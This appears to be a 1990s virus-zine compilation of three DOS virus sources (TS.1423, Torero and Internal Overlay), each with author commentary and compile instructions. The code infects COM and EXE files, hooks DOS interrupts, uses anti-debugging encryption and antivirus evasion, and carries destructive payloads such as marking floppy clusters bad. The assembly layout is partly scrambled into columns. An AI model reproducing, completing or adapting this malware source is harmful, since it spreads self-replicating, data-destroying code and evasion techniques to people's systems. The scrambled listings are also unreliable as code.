TS.1423 ************************************************************************> Virus disassembly by Tcp Virus : TS.1423 Author: Unknown Where : Spain This is a pretty curious virus i disassembled a few time ago, when 29A wasn't more than a project :) It's well programmed and its best feature is the encryption routine, based on tracing the code via int 1, which makes the virus decryption and disassembly quite difficult. About the rest of the virus, just a little mention about the UMB residency and the payloads (nothing special). I'd describe it as follows: þ þ þ þ þ þ Infects COM and EXE files on closing (3eh) Encrypted; uses a decryption routine via int 1 Thus, highly antidebugging :) It doesn't infect *AN*.* (Scan, TbScan...) Marks clusters as bad on floppies if the year is above 1995 On friday, if the year is above 1995, changes disk writes to disk verifications

Btw... this source code was fully commented in spanish, but i'm too lazy to translate it and it's easy to understand, so i'll leave it uncommented; if you have any doubt about it, look for me in #virus or e-mail me at Compiling instructions: tasm /m ts1423.asm tlink ts1423.obj exe2bin ts1423.exe

_bytes _parag ts1423

equ equ

(header-start)+(_length-start)-(end_decr-start) _bytes/16+1

segment byte public assume cs:ts1423, ds:ts1423 org 0 call db xor mov mov xor iret pop pushf push push pushf xor mov mov inc mov mov get_delta 0 byte ptr cs:[di],0aah bp,sp di,[bp] byte ptr cs:[di],0aah

start: _mask int_1:


si ds es ax,ax ds,ax ax,si ax ds:[0004],ax ds:[0006],cs

mov pushf xor mov add popf mov

bp,sp byte ptr [bp-1],1 di,si di,offset end_decr-2 ah,cs:[si]

; First byte, encrypted with aah ; Decrypted instruction ; ; *******************************Å********************** ; ; ³ : db 29h,0eeh,3 ; sub si,3 -> offset int_1 db 21h,0d6h ; mov dx,si db 13h dw offset _length-offset end_decr ; mov cx,offset... db 2bh,0c6h dw offset end_decr ; add si,offset end_decr db 56h ; cld loop_1: db 84h,30h,24h ; xor cs:[si],ah ; Second routine db 0ech ; inc si db 48h,0fah ; loop loop_1 end_decr: db 37h ; popf -> trace off (int_1 inactive) mov cmp je mov add mov add com_file: mov mov int or jne jmp cmp jb mov int push mov int push xor mov mov int jc mov mov int jc mov mov int si,dx cs:[si+file_type],0 com_file ax,cs cs:[si+file_cs],ax ax,cs:[si+file_cs] cs:[si+file_ss],ax bx,'TC' ax,'0.' 21h ax,ax no_resident no_activation al,5 no_UMB ax,5800h 21h ax ax,5802h 21h ax dx,dx ax,5803h bx,1 21h UMB_error ax,5801h bx,81h 21h UMB_error bx,_parag ah,48h 21h


jc mov UMB_error: pop xor mov int pop xor mov int mov or jnz no_UMB: mov dec mov mov sub mov int mov mov int mem_ok: mov dec mov mov int mov cmp ja xor y_1995: push mov push push pop xor mov rep pop mov mov mov int mov mov mov mov mov int pop cmp

UMB_error dx,ax bx bh,bh ax,5803h 21h bx bh,bh ax,5801h 21h ax,dx ax,ax mem_ok ax,es ax ds,ax bx,ds:[0003] bx,_parag+1 ah,4ah 21h bx,_parag ah,48h 21h es,ax ax ds,ax ah,2ah 21h es:year,cl cl,0cah y_1995 al,al ax word ptr ds:[0001],8 si cs ds di,di cx,offset _length movsb si dx,es ds,dx ax,3521h 21h ds:ofs_int21,bx ds:seg_int21,es es,dx dx,offset int_21 ax,2521h 21h ax al,5

jne push mov int mov mov pop mov mov int no_activation: pop pop cmp je popf cli mov mov sti xor xor xor xor xor xor xor db dw dw popf add mov push mov rep ret cmp je cmp je cmp je cmp je cmp je cmp je cmp je cmp je jmp pushf

no_activation es ax,3513h 21h ds:ofs_int13,bx ds:seg_int13,es es dx,offset int_13 ax,2513h 21h es ds cs:[si+file_type],0 exec_com

ss,cs:[si+file_ss] sp,cs:[si+file_sp] ax,ax bx,bx cx,cx dx,dx si,si di,di bp,bp 0eah 0 0

file_ip file_cs exec_com:

si,offset bytes_com di,100h di cx,3 movsb


ah,30h get_OS ah,57h f_date ah,3ch open_functions ah,5bh open_functions ah,3dh open_functions ah,6ch open_functions ah,3eh close ah,4bh exec dword ptr cs:ofs_int21

jmp_21: call_21:

call int_ret: push mov jc and pop iret or pop iret cmp jne cmp jne xor iret or jz xor push push pushf call jc and cmp pop pop mov jnz or jmp_jmp21: error_g_date: jmp pop pop jmp

dword ptr cs:ofs_int21 bp bp,sp put_error byte ptr [bp+6],0FEh bp


byte ptr [bp+6],1 bp


al,'.' jmp_21 bx,'TC' jmp_21 ax,ax


al,al jmp_21 al,al cx dx dword ptr cs:ofs_int21 error_g_date cx,1fh cx,1fh dx cx al,1 jmp_jmp21 cx,1fh jmp_21 dx cx int_ret mark_bad valid_name jmp_21 dword ptr cs:ofs_int21 int_ret cs:handle,ax int_ret cs:handle,bx jmp_21 dword ptr cs:ofs_int21 int_ret infection valid_name jmp_jmp21_2 infection

open_functions: call call jc pushf call jc mov jmp close: cmp jne pushf call jc jmp call jc jmp


jmp_jmp21_2: infection:

jmp push push push push push push push push push pop mov call mov int cmp je mul mul or jnz cmp jae

jmp_21 ax bx cx dx si di ds es cs ds dx,offset file_name get_drive ah,36h 21h ax,0ffffh jmp_end_infect bx cx dx,dx space ax,offset _length space end_infect ax,3524h 21h cs:ofs_int24,bx cs:seg_int24,es cs es dx,offset int_24 ax,2524h 21h dx,offset file_name ax,4300h 21h jmp_set_24 cs:file_attribs,cx cx,cx ax,4301h 21h open_file set_24 ax,3d02h dword ptr cs:ofs_int21 file_opened set_attribs bx,ax get_datetime jmp_jmp_close

jmp_end_infect: jmp space: mov int mov mov push pop mov mov int mov mov int jc mov xor mov int jnc jmp_set_24: open_file: jmp mov pushf call jnc jmp mov call jc


call jc mov mov or jnz cmp jb valid_length: call jc mov mov mov int jc push mov cmp pop jz mov sub mov add jc mov mov mov cld rep jmp exe_infect: mov cmp jne jmp mov mov mov mov mov mov mov mov sub mov cmp je dec mov mul add adc cmp jne cmp

lseek_end jmp_jmp_close si,ax di,dx dx,dx valid_length ax,offset _length jmp_jmp_close lseek_start jmp_jmp_close cx,1ch dx,offset header ah,3fh 21h jmp_jmp_close di di,dx word ptr [di],'ZM' di exe_infect cs:file_type,0 si,3 cs:jmp_offset,si si,offset _length+3 jmp_jmp_close si,dx di,offset bytes_com cx,3 movsb exe_com cs:file_type,1 cs:hdrsize,0 no_hdr_0 jmp_close_file ax,cs:exe_sp cs:file_sp,ax ax,cs:relo_ss cs:file_ss,ax ax,cs:exe_ip cs:file_ip,ax ax,cs:relo_cs cs:file_cs,ax cs:file_ss,ax ax,cs:page_cnt cs:part_pag,0 no_sub ax cx,200h cx ax,cs:part_pag dx,0 ax,si jmp_jmp_close dx,di

jmp_jmp_close: no_hdr_0:


jne push push add adc mov div or jz inc no_add: mov mov pop pop mov div mov sub mov sub mov mov call jc mov mov mov int jc exe_com: call jc push xor mov mov or jnz mov mov pop mov mov int jnc

jmp_jmp_close ax dx ax,offset _length dx,0 cx,200h cx dx,dx no_add ax cs:page_cnt,ax cs:part_pag,dx dx ax cx,10h cx cs:exe_ip,dx ax,cs:hdrsize cs:relo_cs,ax cs:file_cs,ax cs:relo_ss,ax cs:exe_sp,offset f_stack lseek_start jmp_close_file cx,1ch dx,offset header ah,40h 21h jmp_close_file lseek_end jmp_close_file es dx,dx es,dx ah,es:[046ch] ah,ah mask_no_0 ah,43h cs:_mask,ah es cx,offset end_decr ah,40h 21h no_write_error close_file ah,cs:_mask si,offset end_decr di,offset header cx,offset _length-offset end_decr


jmp_close_file: jmp no_write_error: mov mov mov mov cld loop_encrypt: lodsb xor mov inc loop

al,ah [di],al di loop_encrypt

mov mov mov int jc cmp je call jc mov mov mov int set_date: close_file: call mov pushf call mov mov mov int lds mov int pop pop pop pop pop pop pop pop mov cmp je clc jmp jmp xor iret cmp jne mov jmp push push push mov pushf call jc

cx,offset _length-offset end_decr dx,offset header ah,40h 21h set_date cs:file_type,1 set_date lseek_start set_date cx,3 dx,offset jmp_op ah,40h 21h set_datetime ah,3eh dword ptr cs:ofs_int21 dx,offset file_name cx,cs:file_attribs ax,4301h 21h dx,dword ptr cs:ofs_int24 ax,2524h 21h es ds di si dx cx bx ax cs:handle,0ffffh ah,4bh jmp_jmp21_3 int_ret jmp_21 al,al




jmp_jmp21_3: int_24:


ah,3 no_write ah,4 dword ptr cs:ofs_int13 ax cx dx ax,5700h dword ptr cs:ofs_int21 no_infect

no_write: get_datetime:

mov mov and cmp je or jmp no_infect: end_getdate: stc pop pop pop ret push push push mov mov mov pushf call pop pop pop ret cmp je stc ret push push push cmp je mov cld mov lodsb cmp jb cmp ja sub mov inc or jnz cmp jne cmp je cmp je cmp

cs:file_date,dx cs:file_time,cx cx,1fh cx,1fh no_infect cs:file_time,1fh end_getdate

dx cx ax


ax cx dx dx,cs:file_date cx,cs:file_time ax,5701h dword ptr cs:ofs_int21 dx cx ax


cs:handle,0ffffh ready


ax si di ah,6ch si_ok si,dx


di,offset file_name


al,'a' no_lowercase al,'z' no_lowercase al,20h cs:[di],al di al,al next_letter cs:[di-3],'MO' no_com_ext cs:[di-5],'C.' valid byte ptr cs:[di-6],'N' no_valid cs:[di-3],'EX'



jne cmp je no_valid: valid: stc pop pop pop ret mov xor cmp jne mov and ret mov xor mov int ret mov xor mov int ret cmp ja ret push push push push push push push cmp jne mov call mov dec cmp jne mov int cmp ja mov push pop mov mov xor

no_valid cs:[di-5],'E.' valid

di si ax


di,dx dl,dl byte ptr [di+1],':' default_drive dl,[di] dl,1fh

default_drive: lseek_end:

ax,4202h cx,cx dx,cx 21h


ax,4200h cx,cx dx,cx 21h


cs:year,0cah activation


ax bx cx dx ds es di ah,6ch no_extended dx,si get_drive al,dl al al,0ffh with_drive ah,19h 21h al,1 no_act byte ptr cs:file_attribs,al cs ds al,byte ptr cs:file_attribs cx,1 dx,dx



mov int add jc mov mov mov mov int add jc mov add mov next_cluster: mov or add cmp jae or jnz sub mov mov mov mov int add jc mov add int add no_act: pop pop pop pop pop pop pop ret

bx,offset header 25h sp,2 no_act al,byte ptr cs:file_attribs dx,[bx+16h] cs:file_time,dx dx,[bx+0eh] 25h sp,2 no_act cx,200h cx,bx di,bx ax,[di] al,[di+2] di,3 di,cx no_act ax,ax next_cluster di,3 [di],7ff7h byte ptr [di+2],0ffh al,byte ptr cs:file_attribs cx,1 26h sp,2 no_act al,byte ptr cs:file_attribs dx,cs:file_time 26h sp,2 di es ds dx cx bx ax

bytes_com: file_sp file_ss file_type handle jmp_op _length: jmp_offset ofs_int21 seg_int21 ofs_int24 seg_int24

dw dw db dw db

020cdh 0 0 0 0e9h

dw dw dw dw dw

0 0 0 0 0

ofs_int13 seg_int13 year file_attribs file_date file_time file_name header: signature part_pag page_cnt relo_cnt hdrsize minmem maxmem relo_ss exe_sp chksum exe_ip relo_cs

dw dw db dw dw dw db

0 0 0 0 0 0 65 dup (?)

dw dw dw dw dw dw dw dw dw dw dw dw dw dw

0 0 0 0 0 0 0 0 0 0 0 0 0 0

f_stack: ts1423 ends end


; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Torero by Mister Sandman/29A




Hoho... here you have a new coolio viral technique, especially dedicated to those who think that everything on viruses was invented yet :) This virus ain't a 'powerful' one; in fact, and as i decided to do in this first issue as i hadn't many time, it's a simple infector just written to show this new viral capability, never used before as far as i know. And what is this technique about?, you might ask. Ok... apart from DirII and all its family, we don't know many viruses that store the original header of infected files in other place than the viral code, right? AVV and i were making some researches and suddenly found ten free unused bytes on the directory entry of each file... and this the place where my virus stores the header of every file it infects :) In this way, the AV companies must write some specific routines for disinfecting Torero... this means that the cleaning of our virus is more difficult, which is what we're looking for :) Anyway, as every viral technique, it has some pros and some cons... and the cons consist on the next simple thingy: if someone copies, compresses, or manipulates an infected file, it will have a different directory entry, and then it will be imposible to restore its original header. However, and as this is just a sample virus, i didn't pay much attention to this kinda probabilities, and i just used an idea Wintermute gave me: if the host doesn't find its original header, it will display a message i'm sure you all know: 'This program requires Microsoft Windows.' :) As a last (but not least) feature in this virus, don't forget to have a look at the infection mark, based on using the eigth attribute bit, always empty and unused until now. This is a specially good infection mark for a virus, as it's very simple and doesn't get flagged because of incorrect time stamp and all that shit. Besides, it makes things easier for us when implementing stealth techniques, etc. About the name, i decided to call it 'Torero' because it's a spanish word which means 'bullfighter', often used for telling someone that he or what he did is cool, because toreros are supposed to have the biggest nuts around :) Compiling instructions tasm /m torero.asm tlink torero.obj exe2bin torero.exe


.286 segment byte public assume cs:torero,ds:torero org 0 label equ call pop byte torero_end-torero_start delta_offset bp ; Get ë-offset in BP ; for l8r use

torero_start torero_size torero_entry: delta_offset:

sub mov int cmp jne push mov xor mov push push mov retf set_int_21h: mov dec mov xor cmp jna sub sub add inc mov mov mov mov mov mov inc cld push pop mov mov mov rep push push retf copy_vector: push mov mov mov lea movsw movsw mov mov mov lea

bp,offset delta_offset ah,30h 21h bx,';)' set_int_21h cs bx,ds ax,ax ds,ax word ptr ds:[21h*4+2] offset check_host ds,bx ; Get DOS version

; Are we already ; memory resident? ; ; ; ; ; Save CS for the host Don't lose DS Jump to the memory copy and restore the host header

ax,es ax ds,ax di,di byte ptr ds:[di],'Y' set_int_21h

; Program's MCB segment

; Is it a Z block?

word ptr ds:[di+3],((torero_size/10h)+2) word ptr ds:[di+12h],((torero_size/10h)+2) ax,word ptr ds:[di+3] ax ds,ax byte ptr word ptr word ptr word ptr word ptr ax

ds:[di],'Z' ; Mark block as Z ds:[di+1],8 ; System memory ds:[di+3],((torero_size/10h)+1) ds:[di+8],4f44h ; Mark block as owned ds:[di+0ah],0053h ; by DOS (444f53h,0)

cs ds es,ax cx,torero_size si,bp movsb es offset copy_vector

; Copy virus to memory

; Jump to the virus ; copy in memory

ds ds,cx es,ax si,21h*4 di,old_int_21h

; Save int 21h's ; original vector

word ptr [si-4],offset new_int_21h word ptr [si-2],ax ; Set ours si,13h*4 di,old_int_13h ; Save int 13h's ; original vector

movsw movsw mov mov mov call call call jb call call cmp jne cmp je restore_header: pop push mov push movsw movsb push pop retf messed_up: mov int call word ptr [si-4],offset new_int_13h word ptr [si-2],ax ; Set ours ds,ax open_host get_sft check_mark messed_up read_entry point_entry word ptr ds:[si],0 restore_header word ptr ds:[si+2],0 messed_up es es di,100h di


; ; ; ;

Open the host Get its SFT for our infection mark File is messed up :-(

; Read the entry ; Point to the header ; Is it empty?

; Empty too? huh :-( ; File is messed up ; ; ; ; ; ; ; ES=host segment Store it in the stack file header from the Store the IP DS:SI points to the original header, in the directory entry

es ds

; DS=ES ; Jump to the host ; File is messed up... ; close it and show ; the Windows message :)

ah,3eh 21h emergency

; **´ Torero's int 13h handler Ã******************************************** new_int_13h: cmp je db dw push pushf xor mov shl mov or je int_13h_bucle: cmp jne mov sub cmp jne cmp je ah,3 sector_write 0eah ?,? ax bx cx

; Sector write? ; Jump back to the ; original int 13h

old_int_13h sector_write:

ah,ah cl,4 ax,cl cx,ax cx,cx bucle_end byte ptr es:[bx+9],'O' more_files al,byte ptr es:[bx+9] al,2 al,byte ptr es:[bx+0ah] more_files al,'M' subtract

; ; ; ; ;

Calculate how many files we must test by multiplying the sector number with 10h (entries)

; -O-?

; -OM? ; Then it's a COM


add loop popf pop call xor push pushf pop mov mov pop retf

bx,20h int_13h_bucle

; Look for more files ; Look'n'loop :)


cx bx ax int_13h ax,ax bp ax

xor_and_jump: return_to_int:

; ; ; ;

End of the bucle Call the original int 13h and jump to the original int

ax bp,sp word ptr ss:[bp+8],ax ax bp 2 byte ptr es:[bx],0e5h more_files byte ptr es:[bx+0bh],80h more_files word ptr es:[bx+0ch],0 more_files word ptr es:[bx+0eh],0 more_files

; Return to the ; original int 13h


cmp je cmp jb cmp jne cmp jne mov mov mov mov jmp

; A deleted file... ; bah, skip it ; Infected?

; Is the header field ; empty?

ax,word ptr cs:[header_store] word ptr es:[bx+0ch],ax

; ; ; ax,word ptr cs:[header_store+2] ; word ptr es:[bx+0eh],ax more_files

Ok, let's copy the original file header to the directory entry

; **´ Torero's signature Ã************************************************** signature db 0dh,0ah,'[Torero €:-) by Mister Sandman/29A]',0dh,0ah

; **´ Torero's int 21h handler Ã******************************************** new_int_21h: cli cmp ja cmp jb jz cmp ja jz cmp jz cmp jz cmp

ah,6ch real_checks ah,33h real_checks fake_stuff ah,64h fake_stuff real_checks ah,51h real_checks ah,62h fake_stuff ah,50h

; ; ; ; ; ; ; ; ; ;

This code is stolen from the original DOS kernel handler, so they won't catch us if they don't go further thru the rest of the code of the handler... thanx to Qark for this cool idea :)

jz fake_stuff: push nop pop cmp jne mov iret opening: cmp je cmp je cmp je jmp_int_21h old_int_21h db dw

real_checks ax bx cx cx bx ax ah,30h opening bx,';)' ; Shit, shit, shit, ; shit... skip it


; (get DOS version)? ; Return the smiley :)

ah,3dh file_open ax,4301h new_attribute ax,6c00h file_open 0eah ?,?

; File opening?

; Attribute change?

; Extended open?

; Jump to the original ; int 21h address

; **´ File open Ã*********************************************************** file_open: call jmp infect_file dword ptr cs:[old_int_21h] ; Infection routine ; Jump back to int 21h

; **´ New attribute Ã******************************************************* new_attribute: mov iret ah,30h ; Change 43h for 30h ; so it will do nothing

; **´ Infection routine Ã*************************************************** infect_file: pushf push push call cmp jne mov mov call xchg push pop call call jae mov mov cmp jne mov

ax bx cx dx si di ds es set_int_24h ah,6ch normal_open dx,si ax,3d00h int_21h bx,ax cs ds get_sft check_mark close_and_pop byte ptr es:[di+2],2 ax,word ptr es:[di+28h] ax,'OC' close_and_pop byte ptr cs:[infecting],1

; Push registers, flags ; and all that shit ; Set int 24h ; Extended open?


; Fix it to DS:DX ; Open the file ; File handle in BX ; CS=DS

; Get file's SFT ; Already infected?

; Open mode=r/w ; Check the extension ; of our victim

mov mov lea call mov cmp ja push call mov mov lea call pop sub mov call call mov mov lea call mov sub call mov mov lea call close_and_pop: mov call call pop pop popf ret

ah,3fh cx,3 dx,header_store int_21h ax,word ptr es:[di+11h] ax,0ea60h close_and_pop ax lseek_end ah,40h cx,torero_size dx,torero_start int_21h

; Read the first three ; bytes to our temporal ; header store

; File lenght in AX ; Too big file?

; Lseek to the end of ; the file ; Append our k-r4d ; code :)

ax ax,3 word ptr cs:[com_header+1],ax set_marker lseek_start ah,40h cx,3 dx,com_header int_21h ax,word ptr es:[di+11h] ax,3 lseek_end ah,40h cx,3 dx,garbage int_21h ah,3eh int_21h reset_int_24h es ds di si dx cx bx ax

; Make the jmp to ; our virus body ; for the new file

; Lseek to the start ; Write the new header ; in so we'll be always ; executed first ;P

; Actual size in AX ; Lseek to the position ; of the original header ; Destroy all the info, ; already stored in the ; directory entry };)

; Close the file

; Reset int 24h ; And pop out all the ; shit we pushed b4

; **´ Call to the original int 13h Ã**************************************** int_13h: pushf call ret

dword ptr cs:[old_int_13h]

; Call the original ; int 13h

; **´ Call to the original int 21h Ã**************************************** int_21h: pushf call ret

dword ptr cs:[old_int_21h]

; Call the original ; int 21h

; **´ Get SFT in ES:DI Ã**************************************************** get_sft: push ax bx

mov int jc xor mov mov int bad_sft: pop ret

ax,1220h 2fh bad_sft bx,bx ax,1216h bl,byte ptr es:[di] 2fh bx ax

; Get job file table ; in ES:DI (DOS 3+)

; Get the address of ; the specific SFT for ; our handle

; Pop registers and ; return to the code

; **´ Check our infection mark Ã******************************************** check_mark: cmp ret byte ptr es:[di+4],80h ; Compare with the min. ; value of our mark

; **´ Read the directory entry Ã******************************************** read_entry: push call int pop ret ax bx cx parameters 25h cx cx bx ax

; Load the sector

; **´ Sector loading Ã****************************************************** parameters: mov mov mov mov mov push pop mov mov mov lea push lds lodsb pop ret ax,word ptr es:[di+1bh] word ptr cs:[control_block],ax ax,word ptr es:[di+1dh] word ptr cs:[control_block+2],ax cx,0ffffh cs ds ; ; ; ; ; Load the sector number in our control block Read a long sector, 4 bytes


word ptr cs:[control_block+4],1 ; One sector word ptr cs:[control_block+6],offset sector word ptr cs:[control_block+8],cs bx,control_block ; Control block ds si si,dword ptr es:[di+7] si ds

; Point to the ; DPB

; **´ Point to the original header Ã**************************************** point_entry: mov xor push mov shl pop lea add add ret al,byte ptr es:[di+1fh] ah,ah cx cl,5 ax,cl cx si,sector si,ax si,0ch ; Guess the entry

; Multiply it*20h

; Calculate its offset ; into the sector and ; move to si+0ch (header)

; **´ Set int 24h Ã********************************************************* set_int_24h: push push xor mov push pop mov mov cld movsw movsw mov mov pop pop ret ax si di ds es ax,ax ds,ax cs es si,24h*4 di,offset old_int_24h ; Point to the IVT


; Save the original int ; 24h address and set ; ours l8r

word ptr [si-4],offset new_int_24h word ptr [si-2],cs es ds di si ax

; **´ Restore int 24h Ã***************************************************** reset_int_24h: push push xor mov push pop mov mov cld movsw movsw pop pop ret ax si di ds es ax,ax es,ax cs ds si,offset old_int_24h di,24h*4 ; Point to the IVT


; Restore the original ; int 24h address

es ds di si ax

; **´ Torero's int 24h handler Ã******************************************** new_int_24h: mov iret dw al,3 ; Pass the error code



; Original int 24h

; **´ Set our infection mark Ã********************************************** set_marker: mov ret byte ptr es:[di+4],80h ; Attribute bit 8

; **´ Lseek to the start of the file Ã************************************** lseek_start: mov ret word ptr es:[di+15h],0 ; Read pointer=0

; **´ Lseek to the end of the file Ã****************************************


mov ret

word ptr es:[di+15h],ax

; Read pointer=file ; length (EOF)

; **´ Open the host we're being executed from Ã***************************** open_host: mov int push mov mov mov xor mov mov repnz jnz xor scasb push pop mov mov call xchg ret ah,62h 21h es ds,bx bx,word ptr ds:[2ch] es,bx di,di al,1 cx,0ffffh scasb emergency al,al ; Get PSP address

; DS:2ch=PSP segment

; ; ; ; ;

Look for 01h (the mark which sepparates the path from the name of the file that is being executed)

es ds es ah,3dh dx,di int_21h bx,ax ; Open the host

; Pass handle to BX ; and return

; **´ Emergency routine... data lost! Ã************************************* emergency: push pop mov lea int mov int cs ds ah,9 dx,windows 21h ax,4c01h 21h ; CS=DS

; Show the message... ; This programs requires ; Microsoft Windows ; Errorlevel=01 :)

; **´ Data area Ã*********************************************************** sector control_block garbage db dd dw dd db db db db db db db label 200h dup (?) ? ? ? ';)' ; The long sector ; Control block


'This program requires Microsoft Windows.' 0dh,0ah,'$' ? ? 0e9h,?,? 3 dup (?) byte ; Reading or writing?

action infecting com_header header_store torero_end

; The COM header ; Temporal header store


ends end


; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Internal Overlay by Tcp/29A




Here you have a virus i wrote some time ago... an old but still pretty interesting virus (anyway, ain't so old... one year or less :) Its peculiarity consists in that it infects COM and EXE files without modifying their headers! ;) In this way, it doesn't get detected under a very large number of CRC checkers which just compare the first bytes and the length of the files whose info it stores. Internal Overlay (IntOv for friends :) does this by inserting an overlay loader at the entry point of the files it infects, and the corresponding overlay -the virus- at the end of the file, appended to the infected file in the traditional way :) It infects, as i told before, COM and EXE files on execution (4b00h) and opening (3dh), and it doesn't infect COMMAND.COM or EXEs with relocation items in the entry point, unless this item is located in offset 7 (PkLited files have an item there) ;) Compiling instructions: tasm /m intov.asm tlink intov.obj exe2bin intov.exe

assume cs:code,ds:code,ss:code,es:code org 0 code segment _BYTES = ((end_vir-start)+(ov_part-start)+15) _PARAG = _BYTES/16 start: delta_ofs equ word ptr $+1 mov si,100h ; ; equ word ptr $+1 mov cx,'<>' ; ; equ word ptr $+1 mov bp,0000 ; mov es,ds:[2ch] ; xor ax,ax xor di,di repnz scasw ; ; inc di inc di ; push cs push ds push es push di push ds mov ax,ds dec ax

Delta offset (precalc) In dropper, 100h Length to search for, it will be the id mark: '<>'... why not? :) For PkLite's relocation es-> environment



Search for two consecutive zeros Searching file name es:di -> file name

mov es,ax

; MCB access ; ES-> MCB

mov bx,es:[0003] sub bx,_PARAG+1 pop es mov ah,4ah int 21h ; Free memory. If resident, doesn't return! mov ah,48h mov bx,_PARAG int 21h ; Want some memory mov es,ax push cs pop ds mov cx,offset(ov_part) push si xor di,di rep movsb ; Move it to reserved area pop si mov ax,offset(new_mcb) push es push ax retf ; Jump to reserved area new_mcb: push ds pop es ; es:= old cs pop dx pop ds mov ax,3d00h int 21h ; Open the file xchg bx,ax ; bx:=handle push cs pop ds equ word ptr $+1 mov cx,0000 equ word ptr $+1 mov dx,offset(ov_part) ; For the dropper mov ax,4200h int 21h ; Get set in file ; Point to 'overlay' mov cx,offset(end_vir) mov ah,3fh mov dx,offset(ov_part) int 21h ; Read the 'overlay' mov ah,3eh ; We're up to here in the Entry Point

long_high long_low

;Ú**********************************************************************¿ ;³ Now, the virus overlay part ³ ;À**********************************************************************Ù ov_part: int 21h ; Close file push si push si pop di mov si,offset(original) mov cx,offset(ov_part) rep movsb ; Restore original code in memory pop si push cs pop ax dec ax

mov mov mov int mov mov mov mov int exec_host:

es,ax ; es-> MCB word ptr es:[0001],8 ; O.S. block ax,3521h ; Get and change int 21h 21h ofs_int21,bx seg_int21,es ah,25h dx,offset(int_21) 21h ; PSP

pop ds push si xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor bp,bp xor si,si xor di,di push ds pop es retf c_com db db db db 'COM' 'EXE' 'exe' 'com'

; jump to host

c_21: pushf call dword ptr cs:[ofs_int21] ret int_24: mov al,3 iret db '[Internal Overlay, Tcp / 29A]' int_21: cmp ah,4ah ; Can be our call jne f_func push ax push di mov ax,'<>' sub ax,cx shr di,1 sub ax,di inc ax ; If 0 -> our call pop di pop ax jnz f_func pop cx ; We're not interested in offset pop di ; Interested in code segment pop cx ; We're not interested in flags pop dx pop ds ; ds:dx -> file name mov ax,3d00h call c_21 ; Open file xchg ax,bx ; bx:=handle mov ds,di mov cx,[si+long_high] ; Restore data mov dx,[si+long_low] add dx,offset(original)-offset(ov_part)

adc cx,0 mov ax,4200h int 21h mov mov mov int mov int add jmp f_func: push bx push cx push dx push bp push ds push es push si push di push ax mov di,dx mov al,0 mov cx,666h repnz scasb sub di,4 pop ax push ax cmp ax,4b00h je is_exec cmp ah,3dh je check_ext end_21: pop ax pop di pop si pop es pop ds pop bp pop dx pop cx pop bx db 0eah dw ? dw ?

; Postion on overlay's portion that ; keeps original code

dx,si ah,3fh cx,offset(ov_part) 21h ; We read ah,3eh 21h ; We close the file [si+1],bp ; Reallocate Pklite's item (add 0 otherwise) exec_host

;-) ; filename.ext ; ^

; file execution? ; open-file?

; jmp far

ofs_int21 seg_int21 check_ext:



push ds push cs pop ds mov si,offset(c_com) mov cx,4 push si ; check valid extensions push di cmpsw jne next_ext cmpsb pop di pop si je ext_ok

ext_ok: is_exec:

add si,3 loop loop_ext pop ds or cx,cx jz end_21 pop ds cmp byte ptr ds:[di-2],'D' ; Don't infect jz end_21 cmp byte ptr ds:[di-2],'d' jz end_21 mov ax,3524h ; Read and prepare int 24h int 21h push es push bx mov ah,25h push ax ; 2524h push ds push dx push cs pop ds mov dx,offset(int_24) int 21h pop dx pop ds mov ax,4300h int 21h ; Get attribs push cx push ds push dx xor cx,cx mov ax,4301h ; Reset all attribs int 21h jb rest_atribs mov ax,3d02h call c_21 ; Open the file I/O push cs pop ds xchg ax,bx ; bx:=handle mov ax,5700h int 21h ; Get time/date push dx push cx mov ah,3fh mov dx,offset(header) mov cx,1Ch int 21h ; Read file header mov ax,val_ip mov delta_ofs,ax xchg bp,ax ; bp:=val_ip cmp signature,'ZM' ; EXE? je exe ; Assume it's a com cmp byte ptr signature,0e9h ; jmp? jne rest_hour mov ax,word ptr signature+1 ; Offset jmp add ax,3 ; Calculate file's offset mov delta_ofs,ax add delta_ofs,100h xor dx,dx xor cx,cx jz exe&com



mov pop pop int mov int mov pop pop pop int pop pop pop int jmp

ax,5701h cx dx 21h ah,3eh 21h ax,4301h dx ds cx 21h ax dx ds 21h end_21

; Restore date/time

; We close ; Restore attribs ; ds:dx -> file name

; ax:=2524h

exe: mov ax,header_size mov cx,16 mul cx ; ax:=header length push ax mov ax,val_cs imul cx add ax,bp ; bp:=val_ip adc dx,0 ; dx:ax := cs:ip inside load module mov cx,relo_items ; Number of reallocation items jcxz items_ok push cx push ax push dx xor cx,cx ; Get on reallocation table mov dx,ofs_reloc mov ax,4200h int 21h pop dx pop ax read_items: push ax push dx mov ah,3fh mov dx,offset(original) mov cx,20*4 ; Read 20 reallocaci¢n items int 21h mov si,dx mov di,-20*4 pop dx pop ax pop cx push bx mov bx,[si] cmpsw ; inc si, inc si, inc di, inc di mov bp,[si] cmpsw ; inc si, inc si, inc di, inc di sub bx,ax sbb bp,dx jnz next_item cmp bx,offset(ov_part) ; Is it part of code? jnbe next_item cmp bx,7 ; PkLite's code? pop bx jnz bad_item



push bx dec cx pop bx jcxz items_ok or di,di ; We need read more items? push cx jnz process_item jz read_items pop cx ; cx:= header length add ax,cx adc dx,0 ; dx:ax := cs:ip offset in file push ax push dx mov cx,dx xchg ax,dx ; = mov dx,ax mov ax,4200h int 21h ; get on the entry point mov ah,3fh mov cx,offset(ov_part) mov dx,offset(original) int 21h ; Read original code sub ax,cx ; Have enough space? jc no_inf cmp pages,'<>' ; Id mark is in offset 4 stc je no_inf mov ax,4202h ; Go to he end of file xor cx,cx cwd int 21h mov long_high,dx ; Save file-offset of code mov long_low,ax mov ah,40h ; 'Stick' to the file mov cx,offset(end_vir) mov dx,offset(ov_part) int 21h pop cx pop dx jc alr_inf mov reloc_pkl,0 mov ax,4200h int 21h ; Return to cs:ip mov ah,40h mov cx,offset(ov_part) cwd int 21h ; Write new code on entry-point push cx pop cx jmp rest_hour

items_ok: exe&com:


bad_item: alr_inf: end_vir: original: header: signature image_size pages relo_items header_size mim_mem max_mem stack_seg

dw dw dw dw dw dw dw dw

20cdh ? ? ? ? ? ? ?

stack_ofs checksum val_ip val_cs ofs_reloc overlays

dw dw dw dw dw dw

? ? ? ? ? ?

code ends end start

